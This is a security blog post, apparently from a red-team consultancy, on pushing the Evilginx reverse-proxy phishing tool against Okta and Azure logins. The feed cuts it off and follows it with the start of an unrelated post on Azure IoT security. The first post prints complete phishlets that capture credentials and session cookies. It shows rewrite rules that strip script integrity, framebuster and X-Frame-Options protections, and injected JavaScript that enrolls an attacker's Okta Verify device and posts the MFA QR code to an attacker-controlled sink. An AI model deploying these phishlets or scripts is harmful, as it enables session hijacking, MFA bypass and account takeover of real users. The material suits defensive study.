<p>Phishing attacks <strong>are as old as the Internet</strong>. However, over the years, the techniques and means for the phishing changes but the final goal is the same: getting an initial access to the internal network.</p>
<p>Usually, threat actors <strong>try to send malicious documents </strong>such as HTA applications or malicious Office documents but, with the growth of SMTP security solutions such as ProofPoint, the default Office hardening related to macros and the rise of awareness about phishing, <strong>these types of techniques are less and less used.</strong></p>
<p>Today, threat actors do not perform phishing to get a direct initial access to the company network, but to <strong>retrieve the digital identity of a user</strong>: its Office365/GoogleWorkspace/Okta identity. They then reuse this identity through SSO applications until they find a way to breach the internal network through exposed applications such as Citrix or VPN.</p>
<p>To limit such attacks, <strong>companies started enforcing MFA</strong> to ensure that even if a threat actor successfully retrieves a valid set of user credentials through phishing or harvesting, he won’t be able to complete the authentication process or reuse them on a different application.</p>
<p> </p>
<h2>Phishing 101</h2>
<p> </p>
<h3>IDP, cookies and phishing</h3>
<p>The MFA protection implemented by companies is a<strong> good way to limit the impact </strong>of successful phishing. Indeed, even if the threat actor retrieves the user credentials, he won’t be able to spoof the user’s identity as he won’t be able to validate the MFA.</p>
<p>However, today the MFA is usually <strong>only asked during the first authentication:</strong> once the user is authenticated on the identity provider, it gives him a proof of authentication the user can forward to any service. With this proof of authentication, the user does not need any additional active authentication, therefore not needing to re-validate the MFA as long as the ticket is valid.</p>
<p>In the most common web IDPs such as Azure, Google or Okta, <strong>this ticket is represented by the cookies.</strong> When the user connects to the IDP for the first time, the service sends back a cookie that is valid for 1 hour, 1 day or 2 years. With these cookies, the user can connect to any other SSO-compliant web service without authentication.</p>
<figure id="attachment_26696" aria-describedby="caption-attachment-26696" style="width: 839px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class=" wp-image-26696" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/07/Image1-2-238x191.png" alt="Cookie as session" width="839" height="673" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/07/Image1-2-238x191.png 238w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/07/Image1-2-49x39.png 49w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/07/Image1-2-768x616.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/07/Image1-2.png 1420w" sizes="auto, (max-width: 839px) 100vw, 839px" /><figcaption id="caption-attachment-26696" class="wp-caption-text"><em>Cookie as session</em></figcaption></figure>
<p>In a nutshell, the <strong>user IDP cookies represent the user digital identity</strong>. Therefore, in a phishing attack whose primary goal is to spoof the user digital identity, the attacker will try to steal the cookies once the user has successfully performed his authentication.</p>
<p> </p>
<h3>Evilginx</h3>
<h4>Evil proxy</h4>
<p>In order to steal the cookies, the attacker must be placed in a man-in-the-middle position during the authentication process. However, with TLS security enforced in the majority of IDP, <strong>the user will be aware that something wrong is happening.</strong></p>
<p>That’s where <strong>Evilginx comes into play</strong>. Instead of performing a simple man-in-the-middle attack by relaying the packet to the IDP, Evilginx will create a malicious proxy: <strong>the user does not authenticate on accounts.google.com, but he will authenticate to login.evilginx.com:</strong></p>
<figure id="attachment_26698" aria-describedby="caption-attachment-26698" style="width: 823px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class=" wp-image-26698" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/07/Image2-1-399x191.png" alt="Evilgproxy functionning" width="823" height="394" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/07/Image2-1-399x191.png 399w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/07/Image2-1-71x34.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/07/Image2-1-768x367.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/07/Image2-1.png 947w" sizes="auto, (max-width: 823px) 100vw, 823px" /><figcaption id="caption-attachment-26698" class="wp-caption-text"><em>Evilgproxy functionning</em></figcaption></figure>
<p>I will not take more time to develop the evil-proxy principle as it is already well documented on the internet.</p>
<p> </p>
<h4>Phislets 101</h4>
<p>For example, during the authentication to Azure, the following domains are used:</p>
<ul>
<li>login.microsoftonline.com</li>
<li>www.microsoftonline.com</li>
<li>aadcdn.microsoftonline.com</li>
</ul>
<p>The problem is that during the authentication flow, the IDP will redirect the user to specific pages with the domain hardcoded in the response. For example, during a classic SAML authentication flow, the IDP will force the client to perform a POST request to a specific hardcoded domain. Therefore, even if the user started its authentication process on login.evilginx.com, during the authentication flow he will be redirected to login.microsoftonline.com breaking the man-in-the-middle position.</p>
<p>Evilginx<strong> uses specific configuration files known as phishlets to handle such cases</strong>. The phishlet configuration will allow Evilginx to know what domain must be re-written in the server response. So if the IDP sends back a response such as:</p>
<pre>&lt;form id=”SAML” action=”https://login.microsoftonline.com”&gt;<br />[…]<br />&lt;/form&gt;<br />&lt;script&gt;<br />document.getElementById(“SAML”).click()<br />&lt;/script&gt;</pre>
<p>With the phishlet, <strong>Evilginx will know that the domain login.microsoftonline.com must be rewritten</strong> and will send back to the target the following modified page:</p>
<pre>&lt;form id=”SAML” action=”https://login.evilginx.com”&gt;<br />[…]<br />&lt;/form&gt;<br />&lt;script&gt;<br />document.getElementById(“SAML”).click()<br />&lt;/script&gt;</pre>
<p>With such match and replace pattern, <strong>Evilginx is able to trap the user inside the malicious application</strong> even if the IDP tries to redirect the user to a specific page.</p>
<p> </p>
<h4>Auto-replace limits</h4>
<p>The Evilginx phishlet auto-replace has its limits. Indeed, <strong>sometime the server does not directly hardcode the domain</strong> in the page but builds it through a JS script.</p>
<p>In this case, Evilginx is not able to automatically detect the domain pattern. As phishlet designers, we need then to understand how the script is working and manually replace the part building the redirection domain through a match/replace.</p>
<p> </p>
<h5>CORS</h5>
<p>In Okta, authentication flow is based on several JS scripts fetched from the oktadcn domain. The script <strong>dynamically builds the redirection URL</strong>: it takes the Okta tenant name and appends ‘okta.com’. Therefore, when Okta tries to reach the specific page using the okta.com domain, it<strong> fails due to CORS protection</strong> (trying to reach okta.com/idp/idx/introspect from evilginx.com):</p>
<figure id="attachment_26700" aria-describedby="caption-attachment-26700" style="width: 832px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class=" wp-image-26700" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/07/Image3-1-367x191.png" alt="Okta CORS error" width="832" height="433" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/07/Image3-1-367x191.png 367w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/07/Image3-1-71x37.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/07/Image3-1-768x400.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/07/Image3-1.png 849w" sizes="auto, (max-width: 832px) 100vw, 832px" /><figcaption id="caption-attachment-26700" class="wp-caption-text"><em>Okta CORS</em></figcaption></figure>
<p>By debugging the application, it is possible to find where the URL building is done and modify it through a match and replace:</p>
<pre><u>Replace:</u> array");var t=<br /><u>By:</u> array");e.redirectUri=e.redirectUri.replace("okta.com","evilginx.com");var t=</pre>
<p>With this simple indication, Evilginx <strong>will apply the match and replace on-the-fly, avoiding the redirection of the user outside of the phishing application.</strong></p>
<p> </p>
<h5>JS integrity</h5>
<p>When modifying the JS file or any other file through Evilginx, it can <strong>cause troubles due to the script integrity hash:</strong></p>
<pre>&lt;script src="https://ok14static.oktacdn.com/assets/js/sdk/okta-signin-widget/7.30.1/js/okta-sign-in.min.js" type="text/javascript" integrity="sha384-EX0iPfWYp6dfAnJ+ert/KRhXwMapYJdnU2i5BbbeOhWyX0qyI4rMkxKKl8N5pXNI" crossorigin="anonymous"/&gt;</pre>
<p>Indeed, if Evilginx modifies the okta-signing-widget script, its hash will not match the one set on the html file and the application will refuse to load it.</p>
<figure id="attachment_26702" aria-describedby="caption-attachment-26702" style="width: 910px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class=" wp-image-26702" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/07/hash-1-437x48.png" alt="Hash integrity error" width="910" height="100" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/07/hash-1-437x48.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/07/hash-1-71x8.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/07/hash-1-768x85.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/07/hash-1-1536x170.png 1536w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/07/hash-1.png 1737w" sizes="auto, (max-width: 910px) 100vw, 910px" /><figcaption id="caption-attachment-26702" class="wp-caption-text"><em>Hash integrity error</em></figcaption></figure>
<p>But, with Evilginx, we can also modify the html page to remove the integrity check:</p>
<pre>Replace: integrity="[^"]*"<br />By: integrity=''<br /><br /></pre>
<h5>Redirect URI validation</h5>
<p>The last point <strong>is the Redirect URI validation</strong>. Indeed, when doing OIDC authentication, the client will be redirected to a page with a URL like:</p>
<pre>/oauth2/v1/authorize?client_id=XXXXXX&amp;redirect_uri=https://trial-xxxxx.okta.com[...]</pre>
<p>With the automatic domain replacement configured on Evilginx, the redirect URI parameter trial-xxxxx.okta.com will be automatically changed into trial-xxxxx.evilginx.com.</p>
<p>This will trigger the redirect uri validation process and because the evilginx.com domain has not been configured on the Okta end as a valid redirection domain<em>, </em><strong>Okta will show the following error</strong>:</p>
<figure id="attachment_26704" aria-describedby="caption-attachment-26704" style="width: 175px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class="size-medium wp-image-26704" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/07/Image5-1-175x191.png" alt="Error 400 - Bad Request in Okta" width="175" height="191" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/07/Image5-1-175x191.png 175w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/07/Image5-1-36x39.png 36w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/07/Image5-1.png 269w" sizes="auto, (max-width: 175px) 100vw, 175px" /><figcaption id="caption-attachment-26704" class="wp-caption-text"><em>Error in Okta</em></figcaption></figure>
<p>The redirect URI is <strong>dynamically built by Okta by taking the login domain</strong> and adding the callback parameters. It is then possible to bypass this error by modifying the JS script building the URL and ensure that the callback URI is the one expected by Okta:</p>
<p>Using Evilginx, it is <strong>possible to use the match/replace pattern to reset the redirect_uri </strong>to the right URI:</p>
<pre><u>Replace:</u> ,l.src=e.getIssuerOrigin()<br /><u>By:</u> ,l.src=e.getIssuerOrigin().replace("evilginx.com","okta.com")<br /><br /><u>Replace:</u> var s=(n.g.fetch||h())(t<br /><u>By:</u> ,l.src=e.getIssuerOrigin().replace("evilginx.com","okta.com")<br /><br /></pre>
<h4>Basic phishlets</h4>
<h5>Okta</h5>
<pre>min_ver: '3.0.0'<br />name: 'okta-wavestone'<br /><br />params:<br />  - name: okta_orga<br />    default: ''<br />    required: true<br />  - name: redirect_server<br />    default: https://google.com<br /><br />proxy_hosts:<br />  - phish_sub: '{okta_orga}'<br />    orig_sub: '{okta_orga}'<br />    domain: okta.com<br />    session: true<br />    is_landing: true<br />    auto_filter: true<br /><br />  - phish_sub: ok14static<br />    orig_sub: ok14static<br />    domain: oktacdn.com<br />    session: false<br />    is_landing: false<br />    auto_filter: true<br /><br />  - phish_sub: login<br />    orig_sub: login<br />    domain: okta.com<br />    session: false<br />    is_landing: false<br />    auto_filter: true<br /><br />sub_filters:<br />  - triggers_on: 'ok14static.oktacdn.com'<br />    orig_sub: ''<br />    domain: 'okta.com'<br />    search: 'array"\);var t='<br />    replace: 'array");e.redirectUri=e.redirectUri.replace("{basedomain}","{orig_domain}");var t='<br />    mimes: ['application/javascript']<br /><br />  - triggers_on: '{okta_orga}.okta.com'<br />    orig_sub: ''<br />    domain: 'okta.com'<br />    search: integrity="[^"]*"<br />    replace: integrity=''<br />    mimes: ['text/html', 'charset=utf-8']<br /><br />  - triggers_on: '{okta_orga}.okta.com'<br />    orig_sub: ''<br />    domain: 'okta.com'<br />    search: 'mainScript\.integrity'<br />    replace: 'mainScript.inteegrity'<br />    mimes: ['text/html', 'charset=utf-8']<br /><br />  - triggers_on: 'ok14static.oktacdn.com'<br />    orig_sub: ''<br />    domain: 'okta.com'<br />    search: 'var s=\(n\.g\.fetch\|\|h\(\)\)\(t'<br />    replace: 't=t.replace("{orig_domain}","{domain}");var s=(n.g.fetch||h())(t'<br />    mimes: ['application/javascript']<br /><br />  - triggers_on: 'ok14static.oktacdn.com'<br />    orig_sub: ''<br />    domain: 'okta.com'<br />    search: ',l\.src=e\.getIssuerOrigin\(\)'<br />    replace: ',l.src=e.getIssuerOrigin().replace("{orig_domain}","{domain}")'<br />    mimes: ['application/javascript']<br /><br />  - triggers_on: 'ok9static.oktacdn.com'<br />    orig_sub: ''<br />    domain: 'okta.com'<br />    search: ',l\.src=e\.getIssuerOrigin\(\)'<br />    replace: ',l.src=e.getIssuerOrigin().replace("{orig_domain}","{domain}")'<br />    mimes: ['application/javascript']<br /><br />auth_tokens:<br />  - domain: '{okta_orga}.okta.com'<br />    keys: ['idx:always']<br /><br />credentials:<br />  username:<br />    key: ''<br />    search: '"identifier":"([^"]*)"'<br />    type: 'json'<br /><br />  password:<br />    key: 'passwd'<br />    search: '(.*)'<br />    type: 'post'<br /><br />login:<br />  domain: '{okta_orga}.okta.com'<br />  path: '/'<br /><br />force_post:<br />  - path: '/kmsi'<br />    search:<br />      - {key: 'LoginOptions', search: '.*'}<br />    force:<br />      - {key: 'LoginOptions', value: '1'}<br />    type: 'post'</pre>
<p> </p>
<h5>Azure</h5>
<pre>name: 'o365-wavestone'<br />min_ver: '3.0.0'<br /><br />proxy_hosts:<br />  - phish_sub: 'login'<br />    orig_sub: 'login'<br />    domain: 'microsoftonline.com'<br />    session: true<br />    is_landing: true<br /><br />  - phish_sub: 'www'<br />    orig_sub: 'www'<br />    domain: 'office.com'<br />    session: true<br />    is_landing:false<br /><br />  - phish_sub: 'aadcdn'<br />    orig_sub: 'aadcdn'<br />    domain: 'msftauth.net'<br />    session: false<br />    auto_filter: true<br />    is_landing:false<br /><br />auth_tokens:<br />  - domain: '.login.microsoftonline.com'<br />    keys: ['ESTSAUTH', 'ESTSAUTHPERSISTENT']<br />  - domain: 'login.microsoftonline.com'<br />    keys: ['SignInStateCookie']<br /><br />credentials:<br />  username:<br />    key: 'login'<br />    search: '(.*)'<br />    type: 'post'<br />  password:<br />    key: 'passwd'<br />    search: '(.*)'<br />    type: 'post'<br /><br />auth_urls:<br />  - '/common/SAS/ProcessAuth'<br />  - '/kmsi'<br /><br />login:<br />  domain: 'login.microsoftonline.com'<br />  path: '/'<br /><br />force_post:<br />  - path: '/kmsi'<br />    search:<br />      - {key: 'LoginOptions', search: '.*'}<br />    force:<br />      - {key: 'LoginOptions', value: '1'}<br />    type: 'post'<br />  - path: '/common/SAS'<br />    search:<br />      - {key: 'rememberMFA', search: '.*'}<br />    force:<br />      - {key: 'rememberMFA', value: 'true'}<br />    type: 'post'</pre>
<p> </p>
<h2>Automate critical actions</h2>
<p> </p>
<h3>Adding MFA device</h3>
<p>Once an attacker is able to retrieve an initial access to the user session, he needs to add access persistence as the cookies have a limited validity timeframe.</p>
<p>This is usually done by adding an additional MFA device to the user account.</p>
<p>For example, on Azure, adding an MFA device does not ask for user reauthentication or MFA validation. So, <strong>as long as the attacker has access to the user session, he is able to directly register his malicious MFA device</strong>.</p>
<p>However, on some IDP such as <strong>Okta, the MFA registration asks for an MFA validation</strong>. So even if the attacker successfully has compromised the user’s Okta session, he won’t be able to directly add a MFA.</p>
<p>What could be interesting is to add this reauthentication step during the phishing attack:</p>
<ol>
<li>The user authenticates a first time to access his session</li>
<li>Evilginx steals the user cookies</li>
<li>Evilginx performs automatic API calls to trigger the MFA device registration authentication in the backgroup</li>
<li>The user revalidates his MFA thinking the first one failed</li>
<li>Evilginx intercepts the MFA QRCode allowing the attacker to finalize the MFA registration process</li>
</ol>
<p>All these actions <strong>can be automated through Evilginx by modifying the JS scripts.</strong></p>
<p>First, Evilginx will intercept the redirection performed at the end of the first authentication and redirect the user to a fake controlled page:</p>
<pre>  - trigger_domains: ['{okta_orga}.okta.com']<br />    trigger_paths: ['/app/UserHome']<br />    script: |<br />      if(document.referrer.indexOf('/enduser/callback') != -1){document.location = 'https://'+window.location.hostname+'/help/login'}</pre>
<p>This script will <strong>be injected only in the /app/UserHome page and be triggered only when the page is accessed from the /enduser/callback page</strong>. It ensures that the user is redirected to the decoy page only when the first authentication flow is finished. In this case the decoy page is the okta /help/login page. This redirection to a decoy page is mandatory otherwise the user is blocked in a infinite <strong>redirection loop at the end of his authentication flow…</strong></p>
<p> </p>
<p>Then, <strong>a new JS code is added to the /help/login page</strong>. This script is used to enumerate the available MFA technologies available and configured:</p>
<pre>  - trigger_domains: ['{okta_orga}.okta.com']<br />    trigger_paths: ['/help/login']<br />    script: |<br />      function u4tyd783z(){<br />        fetch('/api/v1/authenticators')<br />        .then((data) =&gt; {<br />            data.json().then((jData)=&gt;{<br />                let id = undefined<br />                for(let elt of jData){<br />                    if(elt.key == 'okta_verify'){<br />                        id = elt.id<br />                    }<br />                }<br />                if(id == undefined){<br />                    return<br />                }<br />                console.log('https://'+window.location.hostname+'/idp/authenticators/setup/'+id)<br />                document.location = 'https://'+window.location.hostname+'/idp/authenticators/setup/'+id<br />            })<br />        })<br />      }<br />      u4tyd783z();</pre>
<p>The script<strong> chooses the Okta Verify authentication method</strong> and redirects the user to the setup page.</p>
<p> </p>
<p>On the setup page, a new JS script is injected. This JS script is used to <strong>automate the registration steps to only let the MFA validation form</strong><em>:</em></p>
<pre>- trigger_domains: ['{okta_orga}.okta.com']<br />    trigger_paths: ['/idp/authenticators/setup/.*']<br />    script: |<br />      function u720dhfn2(){<br />        if(document.querySelectorAll('.button.select-factor.link-button').length &gt; 0){<br />            document.querySelectorAll('.button.select-factor.link-button')[0].click()<br />            document.querySelectorAll('body')[0].style.display = 'none'<br />            a = true<br />        }<br />        if(document.querySelectorAll('a.orOnMobileLink').length &gt; 0){<br />            document.querySelectorAll('a.orOnMobileLink')[0].click()<br />            b = true<br />        }<br />        if(document.querySelectorAll('img.qrcode').length &gt; 0){<br />            fetch("{qrcode_sink}", {<br />              method: 'POST',<br />              body: JSON.stringify({code: document.querySelectorAll('img.qrcode')[0].getAttribute('src')})<br />            }).then(()=&gt;{<br />              document.location='{redirect_server}'<br />            }).catch(()=&gt;{<br />              document.location='{redirect_server}'<br />            })<br />            clearInterval(myInterval)<br />        }<br />      }<br />      var a = false<br />      var b = false<br />      var myInterval = setInterval(function(){u720dhfn2()}, 10)</pre>
<p>Once the user has validated the MFA authentication, <strong>the script will locate the QRCode displayed in the page and exfiltrate it through HTTP.</strong></p>
<p>The attacker can then retrieve the QRCode and enroll his own device.</p>
<p> </p>
<h2>Pushing the limit</h2>
<p> </p>
<h3>Okta with Azure authentication</h3>
<p>Some companies can link two IDP together: <strong>Okta redirects to Azure and provisions the user when they first login.</strong></p>
<p>In this case it is interesting for an attacker because he will be able to retrieve Azure and Okta session in one phishing.</p>
<p>The previous phislets <strong>must be merged in order to capture both authentications</strong>. The important point is to ensure that Okta will redirect to the Azure Evilginx and not to the login.microsoftonline.com website.</p>
<p>Hopefully, the redirection is made with a plaintext form in the Okta response with an auto-submit HTML form:</p>
<pre>&lt;form id="appForm" action="https://login.microsoftonline.com/7ee59529-c0a4-4d72-82e4-3ec0952b49f4/saml2" method="POST"&gt;[...]&lt;/form&gt;</pre>
<p>Because the Azure domain is hardcoded directly on the HTML, Evilginx will be able to automatically switch the real domain by the phishing domain.</p>
<p>Likewise, for the redirection from Microsoft to Okta once the authentication flow ends, Evilginx will also be able to automatically swap the Okta domain by the Okta Evilginx domain allowing the retrieval of the Azure session cookie.</p>
<p>In a <strong>nutshell, in this specific case, it is possible to simply merge the two previous phishlets</strong><em>.</em></p>
<p> </p>
<h3>Frame buster</h3>
<p>More and more users will look at the authentication URL before inputting their credentials. In order to prevent such detection, it is possible to use a Browser in browser technique.</p>
<p>The idea is to embed the phishing application into an iFrame and create a Chrome lookalike frame around the iframe in order to make the iframe appear as a popup.</p>
<p>Because we are redesigning the while popup, it is possible to display a wrong address. In the following figure, the Google form is embedded in an iframe but look like a real popup:</p>
<figure id="attachment_26707" aria-describedby="caption-attachment-26707" style="width: 864px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class=" wp-image-26707" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/07/browser_in_browser-1-374x191.png" alt="Browser in browser example" width="864" height="441" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/07/browser_in_browser-1-374x191.png 374w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/07/browser_in_browser-1-71x36.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/07/browser_in_browser-1.png 680w" sizes="auto, (max-width: 864px) 100vw, 864px" /><figcaption id="caption-attachment-26707" class="wp-caption-text"><em>Browser in browser example</em></figcaption></figure>
<p>The main problem here is that the majority of IDP authentication forms implements several techniques to avoid being embedded in an iframe. These techniques are called framebuster.</p>
<p>While Okta does not seem to implement such techniques, the Azure authentication form contains a lot of features that would break if embedded in an iframe.</p>
<p> </p>
<h4>Self == top</h4>
<p>The simplest framebuster technique is to check if the current frame is the top frame, which Microsoft implements. If it detects that the authentication form is not the top frame, it does not display the form.</p>
<p>With Evilginx, it is possible to remove the check with a simple match and replace pattern:</p>
<pre>Replace: if(e.self===e.top){<br />By: if(true){window.oldself=e.self;e.self=e.top;</pre>
<p>This modification ensures that the iframe is recognized as the top frame.</p>
<p> </p>
<h4>Target=”_top”</h4>
<p>The next technique consists in forcing the form submit to redirect the top frame. Therefore, if the form is submitted in an iframe, it will not only redirect the iframe, it will redirect the whole page, breaking the Browser-in-browser.</p>
<p>This can be done by adding the <em>target=”_top” </em>attribute in the form. It is then possible to remove this protection with Evilginx:</p>
<pre><u>Replace:</u> method="post" target="_top"<br /><u>By:</u> method="post"<br /><br /></pre>
<h4>Framework specific</h4>
<p>Microsoft uses a specific framework for their application. The framework does not embed framebusting technique per say, but its internal functioning makes it quite complicated to embed in an iframe.</p>
<p>The limitation is that at a specific moment, the framework tries to post to a specific URL that is built up using the top frame domain. So instead of posting the data to login.evilginx.com, it will post it to my-phishing-app.com which will fully break the authentication process.</p>
<p>In order to change this address, it is not possible to simply swap the domain with the phishing domain as it was previously done in the previous part. We need to understand how the framework works to change the value manually in the root element:</p>
<pre><u>Replace:</u> autoSubmit: forceSubmit, attr: { action: postUrl }<br /><u>By:</u> autoSubmit: forceSubmit, attr: { action: \\'/common/login\\'}<br /><br /></pre>
<h4>HTTP header</h4>
<p>The last framebusting technique is related to the HTTP header X-Frame-Options: DENY that indicate to the browser that the application cannot be displayed in an iFrame.</p>
<p>It is possible to simply remove this header with Evilginx:</p>
<pre><u>Replace:</u> X-Frame-Options: DENY<br /><u>By:</u> Test: Test<br /><br /></pre>
<h4>Final phishlet</h4>
<p>The following video shows an example of browser in browser phishing on a company using Okta/Azure. The attacker will be able, in a single phishing to:</p>
<ul>
<li>Retrieve the Azure credentials</li>
<li>Retrieve the Azure cookies</li>
<li>Retrieve the Okta cookies</li>
<li>Retrieve the MFA enrollment QRCode for Okta</li>
</ul>
<p style="text-align: center;"> </p>
<div align="center"><iframe loading="lazy" title="Phishing attack example" src="https://www.youtube.com/embed/FHsZhNEIH64?si=OxsRrtlIpbkvgdJA" width="800" height="450" frameborder="0" allowfullscreen="allowfullscreen"></iframe></div>
<p style="text-align: center;"><em>Example of browser in browser phishing on a company using Okta/Azure</em></p>
<p> </p>
<p>The evolution of phishing techniques, exemplified by tools like Evilginx, underscores a critical shift in cyber threats—from merely capturing credentials to hijacking entire authenticated sessions. By acting as an adversary-in-the-middle (AiTM), Evilginx can intercept and manipulate traffic between users and legitimate services, effectively bypassing traditional Multi-Factor Authentication (MFA) mechanisms.</p>
<p>But this is only the tip of the iceberg. Indeed, Evilginx can be used and customized to automate specific critical actions such as MFA registration, to bypass specific securities such as framebuster, ensuring that the attacker will get persistent access to the user session.</p>
<p>The only way to limit phishing attacks is to deploy phishing resistant MFA such as FIDO keys for at least the administrators.</p>
<p> </p>
<p> </p>




<p>Cet article <a href="https://www.riskinsight-wavestone.com/en/2025/07/phishing-pushing-evilginx-to-its-limit/">Phishing: Pushing Evilginx to its limit</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com/en/">RiskInsight</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://www.riskinsight-wavestone.com/en/2025/07/phishing-pushing-evilginx-to-its-limit/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Improving the security of your IoT infrastructure: configuration tips and best practices on Azure IoT</title>
		<link>https://www.riskinsight-wavestone.com/en/2023/04/improving-the-security-of-your-iot-infrastructure-configuration-tips-and-best-practices-on-azure-iot/</link>
					<comments>https://www.riskinsight-wavestone.com/en/2023/04/improving-the-security-of-your-iot-infrastructure-configuration-tips-and-best-practices-on-azure-iot/#respond</comments>
		
		<dc:creator><![CDATA[Arnaud Soullié]]></dc:creator>
		<pubDate>Fri, 07 Apr 2023 13:00:00 +0000</pubDate>
				<category><![CDATA[Deep-dive]]></category>
		<category><![CDATA[IoT & Consumer goods]]></category>
		<category><![CDATA[Azure]]></category>
		<category><![CDATA[IoT]]></category>
		<category><![CDATA[RBAC]]></category>
		<guid isPermaLink="false">https://www.riskinsight-wavestone.com/?p=20232</guid>

					<description><![CDATA[<p>Internet of Things (IoT) platforms enable the connection, management and monitoring of fleets of devices. The 3 cloud leaders, GCP, AWS and Azure each have their own offering, in a particularly fragmented sector, which sees many players competing. Azure, in...</p>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/en/2023/04/improving-the-security-of-your-iot-infrastructure-configuration-tips-and-best-practices-on-azure-iot/">Improving the security of your IoT infrastructure: configuration tips and best practices on Azure IoT</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com/en/">RiskInsight</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<p>Internet of Things (IoT) platforms enable the connection, management and monitoring of fleets of devices. The 3 cloud leaders, GCP, AWS and Azure each have their own offering, in a particularly fragmented sector, which sees many players competing.</p>
<p>Azure, in recent years, has been gaining a foothold in this sector, as Gartner has pointed out, ranking them among the <strong>visionary leaders</strong> of Industrial IoT (IIoT) platforms [1] due to its capabilities, and its almost complete coverage of all use cases and industries.</p>
<p>The IoT, by nature often widely exposed, even on the Internet, can be the<strong> target of attacks</strong>. It is therefore essential to put in place security mechanisms, and to<strong> apply best practices</strong> to improve the security level of the platform and the objects that connect to it, which we will explore in this article.</p>
<p>Before moving on to specific <strong>recommendations</strong> for protecting your IoT devices and data, let&#8217;s look at how the various Azure IoT services can be used together to<strong> create secure IoT solutions</strong>.</p>
<h1><span lang="EN-GB" style="font-size: 20.0pt; line-height: 107%;">Presentation of the Azure IoT offer</span></h1>
<p>Microsoft Azure IoT is an <strong>end-to-end platform</strong> for connectivity, analysis and visualization of data from IoT devices. It also offers <strong>interconnection with other standard Azure services</strong> such as Azure Machine Learning and Azure SQL Database.</p>
<p>Azure IoT offers <strong>two solution ecosystems</strong> to its customers:</p>
<ul style="text-align: justify;">
<li>Azure IoT Central is a <strong>fully managed aPaaS</strong>, Platform as a Service application that <strong>simplifies the creation of IoT solutions</strong>. This service is responsible for connecting, managing and operating fleets of devices, and provides a management user interface. Azure IoT Central is an <strong>aggregate of different Azure IoT services</strong> such as Azure IoT Hub or Azure IoT Hub Device Provisioning Service (DPS).</li>
</ul>
<p><img loading="lazy" decoding="async" class="aligncenter wp-image-20200 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/04/Image1.png" alt="" width="836" height="543" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/04/Image1.png 836w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/04/Image1-294x191.png 294w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/04/Image1-60x39.png 60w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/04/Image1-768x499.png 768w" sizes="auto, (max-width: 836px) 100vw, 836px" /></p>
<p><em>Azure IoT Central </em><strong>offers application models</strong> according to several business domains: Retail, Health, Energy, Industry, etc., and aims at a &#8220;turnkey&#8221; implementation.  </p>
<ul style="text-align: justify;">
<li>A <strong>customised ecosystem</strong> thanks to the various Azure PaaS (Platform as a Service) services. In this ecosystem, two services; Azure IoT Hub and Azure Digital Twins are the <strong>foundations of an IoT solution</strong>. We have also combined them with Azure Device Provisioning and Azure Device Update for optimal coverage of cyber security needs.</li>
</ul>
<p><img loading="lazy" decoding="async" class="aligncenter wp-image-20202 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/04/Image2.png" alt="" width="830" height="519" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/04/Image2.png 830w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/04/Image2-305x191.png 305w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/04/Image2-62x39.png 62w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/04/Image2-768x480.png 768w" sizes="auto, (max-width: 830px) 100vw, 830px" /></p>
<p>These two ecosystems enable Azure to <strong>address all types of IoT and IIoT needs</strong>:</p>
<ul style="text-align: justify;">
<li>Azure IoT Central offers a complete service if you want to quickly develop a <strong>low-complexity application</strong> thanks to its application template catalogue.</li>
<li>If you want a <strong>custom solution</strong>, or with features not supported by Azure IoT Central: opt for an ecosystem based on Azure IoT Hub.</li>
</ul>
<p>Now that we have a good understanding of the Azure IoT ecosystems, it is important to <strong>focus on securing these ecosystems</strong>. How can we effectively protect IoT devices and data when using Azure IoT services? This is what we will explore in the following sections.</p>
<p> </p>
<h1><span lang="EN-GB" style="font-size: 20.0pt; line-height: 107%;">Preamble: the Azure CLI tool</span></h1>
